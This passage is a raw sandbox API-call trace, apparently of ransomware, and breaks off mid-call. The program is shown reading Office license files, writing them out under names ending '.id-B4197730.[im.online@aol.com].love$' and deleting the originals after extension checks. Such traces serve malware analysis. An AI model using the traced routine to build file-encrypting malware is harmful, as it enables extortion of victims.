(lpString=".rar") returned 4 [0258.780] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.780] lstrlenW (lpString=".bz2") returned 4 [0258.780] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.780] lstrlenW (lpString=".7z") returned 3 [0258.780] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.780] lstrlenW (lpString=".dbf") returned 4 [0258.780] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.780] lstrlenW (lpString=".1cd") returned 4 [0258.780] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.780] lstrlenW (lpString=".jpg") returned 4 [0258.781] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.781] lstrlenW (lpString=".doc") returned 4 [0258.781] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.781] lstrlenW (lpString=".docx") returned 5 [0258.781] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.781] lstrlenW (lpString=".pdf") returned 4 [0258.781] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.781] lstrlenW (lpString=".xls") returned 4 [0258.781] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.781] lstrlenW (lpString=".xlsx") returned 5 [0258.781] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.781] lstrlenW (lpString=".ppt") returned 4 [0258.781] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.781] lstrlenW (lpString=".zip") returned 4 [0258.781] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.781] lstrlenW (lpString=".rar") returned 4 [0258.781] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.781] lstrlenW (lpString=".bz2") returned 4 [0258.781] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.781] lstrlenW (lpString=".7z") returned 3 [0258.781] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.782] lstrlenW (lpString=".dbf") returned 4 [0258.782] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.782] lstrlenW (lpString=".1cd") returned 4 [0258.782] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.782] lstrlenW (lpString=".jpg") returned 4 [0258.782] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.782] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.782] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29 [0258.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0258.783] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=6860) returned 1 [0258.783] CloseHandle (hObject=0x534) returned 1 [0258.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220 [0258.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0258.784] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.784] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0259.523] GetLastError () returned 0x0 [0259.523] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x1acc, lpOverlapped=0x0) returned 1 [0259.739] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0259.741] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0259.741] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x10e, lpOverlapped=0x0) returned 1 [0259.741] SetEndOfFile (hFile=0x304) returned 1 [0259.741] CloseHandle (hObject=0x304) returned 1 [0259.741] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0259.741] SetEndOfFile (hFile=0x534) returned 1 [0259.775] CloseHandle (hObject=0x534) returned 1 [0259.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0259.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1 [0259.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.798] lstrlenW (lpString=".doc") returned 4 [0259.798] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0259.798] lstrlenW (lpString=".docx") returned 5 [0259.799] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0259.799] lstrlenW (lpString=".pdf") returned 4 [0259.799] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0259.799] lstrlenW (lpString=".xls") returned 4 [0259.799] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0259.799] lstrlenW (lpString=".xlsx") returned 5 [0259.799] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0259.799] lstrlenW (lpString=".ppt") returned 4 [0259.799] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0259.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.799] lstrlenW (lpString=".zip") returned 4 [0259.799] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0259.799] lstrlenW (lpString=".rar") returned 4 [0259.799] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0259.799] lstrlenW (lpString=".bz2") returned 4 [0259.799] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0259.799] lstrlenW (lpString=".7z") returned 3 [0259.799] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0259.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.799] lstrlenW (lpString=".dbf") returned 4 [0259.799] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0259.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.800] lstrlenW (lpString=".1cd") returned 4 [0259.800] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0259.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.800] lstrlenW (lpString=".jpg") returned 4 [0259.800] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0259.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.800] lstrlenW (lpString=".doc") returned 4 [0259.800] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0259.800] lstrlenW (lpString=".docx") returned 5 [0259.800] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0259.800] lstrlenW (lpString=".pdf") returned 4 [0259.800] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0259.800] lstrlenW (lpString=".xls") returned 4 [0259.800] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0259.800] lstrlenW (lpString=".xlsx") returned 5 [0259.800] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0259.800] lstrlenW (lpString=".ppt") returned 4 [0259.800] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0259.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.801] lstrlenW (lpString=".zip") returned 4 [0259.801] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0259.801] lstrlenW (lpString=".rar") returned 4 [0259.801] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0259.801] lstrlenW (lpString=".bz2") returned 4 [0259.801] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0259.801] lstrlenW (lpString=".7z") returned 3 [0259.801] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0259.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.801] lstrlenW (lpString=".dbf") returned 4 [0259.801] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0259.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.801] lstrlenW (lpString=".1cd") returned 4 [0259.801] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0259.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0259.801] lstrlenW (lpString=".jpg") returned 4 [0259.801] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0259.801] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0259.801] lstrlenW (lpString="ExcelVL_MAK-pl.xrm-ms") returned 21 [0259.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0259.804] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=10619) returned 1 [0259.804] CloseHandle (hObject=0x534) returned 1 [0259.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220 [0259.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0259.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0259.805] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0259.805] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0259.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0259.806] GetLastError () returned 0x0 [0259.806] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x297b, lpOverlapped=0x0) returned 1 [0259.849] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2980, lpOverlapped=0x0) returned 1 [0259.850] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0259.850] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xfe, lpOverlapped=0x0) returned 1 [0259.851] SetEndOfFile (hFile=0x304) returned 1 [0259.851] CloseHandle (hObject=0x304) returned 1 [0259.851] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0259.851] SetEndOfFile (hFile=0x534) returned 1 [0259.855] CloseHandle (hObject=0x534) returned 1 [0259.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0259.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1 [0259.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.858] lstrlenW (lpString=".doc") returned 4 [0259.859] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0259.859] lstrlenW (lpString=".docx") returned 5 [0259.859] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0259.859] lstrlenW (lpString=".pdf") returned 4 [0259.859] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0259.859] lstrlenW (lpString=".xls") returned 4 [0259.859] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0259.859] lstrlenW (lpString=".xlsx") returned 5 [0259.859] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0259.859] lstrlenW (lpString=".ppt") returned 4 [0259.859] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0259.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.859] lstrlenW (lpString=".zip") returned 4 [0259.859] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0259.859] lstrlenW (lpString=".rar") returned 4 [0259.859] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0259.859] lstrlenW (lpString=".bz2") returned 4 [0259.859] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0259.859] lstrlenW (lpString=".7z") returned 3 [0259.859] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0259.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.859] lstrlenW (lpString=".dbf") returned 4 [0259.859] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0259.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.860] lstrlenW (lpString=".1cd") returned 4 [0259.860] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0259.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.860] lstrlenW (lpString=".jpg") returned 4 [0259.860] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0259.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.860] lstrlenW (lpString=".doc") returned 4 [0259.860] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0259.860] lstrlenW (lpString=".docx") returned 5 [0259.860] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0259.860] lstrlenW (lpString=".pdf") returned 4 [0259.860] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0259.860] lstrlenW (lpString=".xls") returned 4 [0259.860] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0259.860] lstrlenW (lpString=".xlsx") returned 5 [0259.860] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0259.860] lstrlenW (lpString=".ppt") returned 4 [0259.860] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0259.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.860] lstrlenW (lpString=".zip") returned 4 [0259.861] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0259.861] lstrlenW (lpString=".rar") returned 4 [0259.861] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0259.861] lstrlenW (lpString=".bz2") returned 4 [0259.861] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0259.861] lstrlenW (lpString=".7z") returned 3 [0259.861] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0259.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.861] lstrlenW (lpString=".dbf") returned 4 [0259.861] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0259.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.861] lstrlenW (lpString=".1cd") returned 4 [0259.861] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0259.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0259.861] lstrlenW (lpString=".jpg") returned 4 [0259.861] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0259.861] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0259.861] lstrlenW (lpString="ExcelVL_MAK-ppd.xrm-ms") returned 22 [0259.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0260.015] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=6795) returned 1 [0260.015] CloseHandle (hObject=0x534) returned 1 [0260.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220 [0260.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.752] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0260.752] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0260.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0260.753] GetLastError () returned 0x0 [0260.753] ReadFile (in: hFile=0x4c8, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x1a8b, lpOverlapped=0x0) returned 1 [0261.248] WriteFile (in: hFile=0x42c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x1a90, lpOverlapped=0x0) returned 1 [0261.250] ReadFile (in: hFile=0x4c8, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0261.250] WriteFile (in: hFile=0x42c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x100, lpOverlapped=0x0) returned 1 [0261.250] SetEndOfFile (hFile=0x42c) returned 1 [0261.274] CloseHandle (hObject=0x42c) returned 1 [0261.290] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0261.290] SetEndOfFile (hFile=0x4c8) returned 1 [0261.414] CloseHandle (hObject=0x4c8) returned 1 [0261.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1 [0261.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.417] lstrlenW (lpString=".doc") returned 4 [0261.417] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0261.417] lstrlenW (lpString=".docx") returned 5 [0261.417] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0261.417] lstrlenW (lpString=".pdf") returned 4 [0261.417] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0261.417] lstrlenW (lpString=".xls") returned 4 [0261.417] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0261.417] lstrlenW (lpString=".xlsx") returned 5 [0261.417] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0261.417] lstrlenW (lpString=".ppt") returned 4 [0261.417] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0261.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.418] lstrlenW (lpString=".zip") 